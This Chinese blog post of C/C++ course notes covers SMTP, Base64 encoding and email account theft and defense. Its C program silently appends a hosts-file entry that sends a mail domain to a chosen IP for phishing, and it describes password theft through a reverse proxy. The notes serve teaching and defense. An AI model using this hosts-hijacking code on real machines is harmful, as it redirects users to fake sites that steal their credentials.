1. 程式人生 > >傳智播客c/c++公開課學習筆記--郵箱賬戶的破解與郵箱安全防控

傳智播客c/c++公開課學習筆記--郵箱賬戶的破解與郵箱安全防控

用戶登陸 const mod ase content Coding 一行 學習筆記 ++

一、SMTP協議

SMTP(SimpleMail Transfer Protocol)即簡單郵件傳輸協議。

SMTP協議屬於TCP/IP協議簇,通過SMTP協議所指定的server,就能夠把E-mail寄到收信人的server上。

SMTPserver則是遵循SMTP協議的發送郵件server,用來發送或中轉發出的電子郵件。

SMTP使用TCP提供的可靠的傳輸數據服務把郵件消息從發信人的郵件server傳送到收信人的郵件server。

跟大多數應用層協議一樣,SMTP也存在兩個 端:在發信人的郵件server上執行的client和在收信人的郵件server上執行的server端。SMTP的client和server端同一時候執行在每一個郵件server上。

當一個郵件server在向其它郵件server發送郵件消息時,它是作為SMTP客戶在執行。

技術分享

二、Base64編碼

Base64是網絡上最常見的用於傳輸8Bit字節代碼的編碼方式之中的一個,參見RFC2045~RFC2049,上面有MIME的具體規範。

Base64編碼可用於在SMTP的username和password驗證以及郵件附件編碼。採用Base64編碼具有不可讀性,即所編碼的數據不會被人用肉眼所直接看到。

// Base64.h: interface for the CBase64 class.
//
//////////////////////////////////////////////////////////////////////

#if !defined(AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_)
#define AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_

#include <string>
#include <stdio.h>
#include <string.h>

using namespace std;

class CBase64
{
public:
    CBase64();
    virtual ~CBase64();
    virtual int Decode(const char* szDecoding, char* szOutput );//base64 to ascii
	virtual int Encode(const char* szEncoding, int nSize, char* szOutput);//ascii to base64

protected:
    unsigned char encodeBuf[3000];
    char  Base2Chr( char n )
    {
        n &= 0x3F;

	    return m_sBase64Alphabet[(int)n];

        if ( n < 26 )
            return ( char )( n + 'A' );
        else if ( n < 52 )
            return ( char )( n - 26 + 'a' );
        else if ( n < 62 )
            return ( char )( n - 52 + '0' );
        else if ( n == 62 )
            return '+';
        else
            return '/';
    }

    unsigned char Chr2Base( char c )
    {
        if ( c >= 'A' && c <= 'Z' )
            return ( unsigned char )( c - 'A' );
        else if ( c >= 'a' && c <= 'z' )
            return ( unsigned char )( c - 'a' + 26 );
        else if ( c >= '0' && c <= '9' )
            return ( unsigned char )( c - '0' + 52 );
        else if ( c == '+' )
            return 62;
        else if ( c == '/' )
            return 63;
        else
            return 64;  //  N^P'WV7{
    }
    static std::string m_sBase64Alphabet;
};

//modify end


#endif // !defined(AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_)

// Base64.cpp: implementation of the CBase64 class.
#define _CRT_SECURE_NO_WARNINGS
#include "Base64.h"
// The 7-bit alphabet used to encode binary information

//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////


CBase64::CBase64()
{ 
	memset(encodeBuf, 0, sizeof(encodeBuf));
}

CBase64::~CBase64()
{

}

std::string CBase64::m_sBase64Alphabet("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" );

int CBase64::Decode(const char* szDecoding, char* szOutput )//base64 to ascii
{
    unsigned char * p = (unsigned char *)szOutput;
    int             i, n = strlen( szDecoding );
    unsigned char   c, t;

    for ( i = 0; i < n; i++ )
    {
        if ( *szDecoding == '=' )
            break;
        do {
            if ( *szDecoding )
                   c = Chr2Base( *szDecoding++ );
            else
                c = 65;  //  WV7{4.=aJx
        } while ( c == 64 );  //  Lx9}N^P'WV7{#,Hg;X355H
        if ( c == 65 )
            break;
        switch ( i % 4 )
        {
        case 0 :
            t = c << 2;
            break;
        case 1 :
            *p++ = ( unsigned char )( t | ( c >> 4 ) );
            t = ( unsigned char )( c << 4 );
            break;
        case 2 :
            *p++ = ( unsigned char )( t | ( c >> 2 ) );
            t = ( unsigned char )( c << 6 );
            break;
        case 3 :
            *p++ = ( unsigned char )( t | c );
            break;
        }
    }
    //(char *)szOutput;

    return ( (char*)p - szOutput );
}

int CBase64::Encode(const char* szEncoding, int nSize, char* szOutput)//ascii to base64
{
    std::string sOutput = string("");
    int nIndex = 0;
    //unsigned char cTemp1[4096];
    memset(encodeBuf, 0, sizeof(encodeBuf));

    if (!szEncoding)
        return 0;
    /*else
        (unsigned char*)szEncoding;*/

    memcpy(encodeBuf, szEncoding, nSize);

    unsigned char *cTemp = encodeBuf;

    unsigned char t;

    for ( nIndex = 0; nIndex < nSize; nIndex++ )
    {
        switch ( nIndex % 3 )
        {
        case 0 :
            sOutput += Base2Chr( *cTemp >> 2 );
            t = ( *cTemp << 4 ) & 0x3F;
            cTemp++;
            break;
        case 1 :
            sOutput += Base2Chr( t | ( *cTemp >> 4 ) );
            t = ( *cTemp << 2 ) & 0x3F;
            cTemp++;
            break;
        case 2 :
            sOutput += Base2Chr( t | ( *cTemp >> 6 ) );
            sOutput += Base2Chr( *cTemp & 0x3F );
            cTemp++;
            break;
        }
    }
    if ( nSize % 3 != 0 )
    {
        sOutput += Base2Chr( t );
        if ( nSize % 3 == 1 )
            sOutput += '=';
        sOutput += '=';
    }

	strcpy(szOutput, sOutput.c_str());
    return sOutput.length();
}

#include <stdio.h>
#include <string.h>
#include "Base64.h"

int main01()//這個是將ascii轉化為base64的代碼
{
	CBase64 base;//創建CBase64類的一個實例,也叫一個對象,
	char base64[100] = { 0 };
	char ascii[100] = "18513105526";
	base.Encode(ascii, strlen(ascii), base64);
	printf("%s\n", base64);
	return 0;
}

int main()//這個是將base64轉化為ascii的代碼
{
	CBase64 base;//創建CBase64類的一個實例,也叫一個對象。
	char base64[100] = "UGFzc3dvcmQ6";
	char ascii[100] = { 0 };
	base.Decode(base64, ascii);//將base64這個字符串轉化為ascii,結果放到ascii這個字符串裏面
	printf("%s\n", ascii);
	return 0;
}

三、郵箱賬戶的破解與防護

1)hosts欺騙與釣魚站點

釣魚站點的實現以及怎樣防範

釣魚站點就是一個和真實站點樣子非常相似的一個冒牌站點

釣魚站點把用戶輸入的信息都截獲了

釣魚站點怎樣讓用戶能主動登陸到釣魚站點呢?

Hosts欺騙,在windows系統文件夾下有一個hosts文件,這個文件內部存放的就是IP和域名的相應關系

我僅僅須要在hosts文件裏增加一行。比方要讓用戶登陸到mail.wo.cn這個站點的時候自己主動登陸釣魚站點

Hosts文件裏

123.57.211.212 mail.wo.cn

怎樣防範,一定要定期檢查你的hosts文件,看是否有未知的IP以及其它的域名信息,

不要擅自執行來路不明各種程序,由於有些程序就是惡意的改動你的hosts文件的

#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma warning(disable:4996)//屏蔽vs 4996這個錯誤信息

int setHosts(const char *IP, const char *domain)//改動hosts文件
{
	char s[100] = { 0 };
	GetSystemDirectoryA(s, sizeof(s));//得到windows的系統安裝文件夾
	char path[1024] = { 0 };
	sprintf(path, "%s\\%s", s, "\\drivers\\etc\\hosts");
	char content[1024] = { 0 };
	sprintf(content, "\n%s %s", IP, domain);
	FILE *p = fopen(path, "a");//用追加的方式打開hosts文件
	if (p)
	{
		fputs(content, p);//將ip與域名的相應關系寫入hosts文件
		fclose(p);
		return 0;//代表寫入成功
	}
	return -1;// 寫入hosts文件失敗
}

int main()
{
	int rc = setHosts("123.57.211.212", "smtp.wo.cn");
	printf("rc = %d\n", rc);
	return 0;
}


2)反向代理

怎樣通過反向代理來竊取password。以及怎樣防範

通過反向代理,差點兒能夠無縫的竊取client的非常多信息

一般如今的smtp都具備ssl。所以最好用ssl來連接郵件server。由於用ssl即使有反向代理截獲了消息報文,但破譯報文的代價會非常大。

為了郵箱的安全,請各位同學一定要使用帶ssl功能的郵件server。ssl全部報文都是加密的

切記一定不能擅自執行各種來路不明的程序,有些程序就是通過改動hosts文件來達到釣魚或者反向代理的惡意企圖的。

郵箱的password一旦泄露,有時候代價會非常大。由於非常多騙子會利用你的郵箱發郵件。同一時候萬一你的郵箱password和你的其它password是同樣。那就更危急了。

技術分享

傳智播客c/c++公開課學習筆記--郵箱賬戶的破解與郵箱安全防控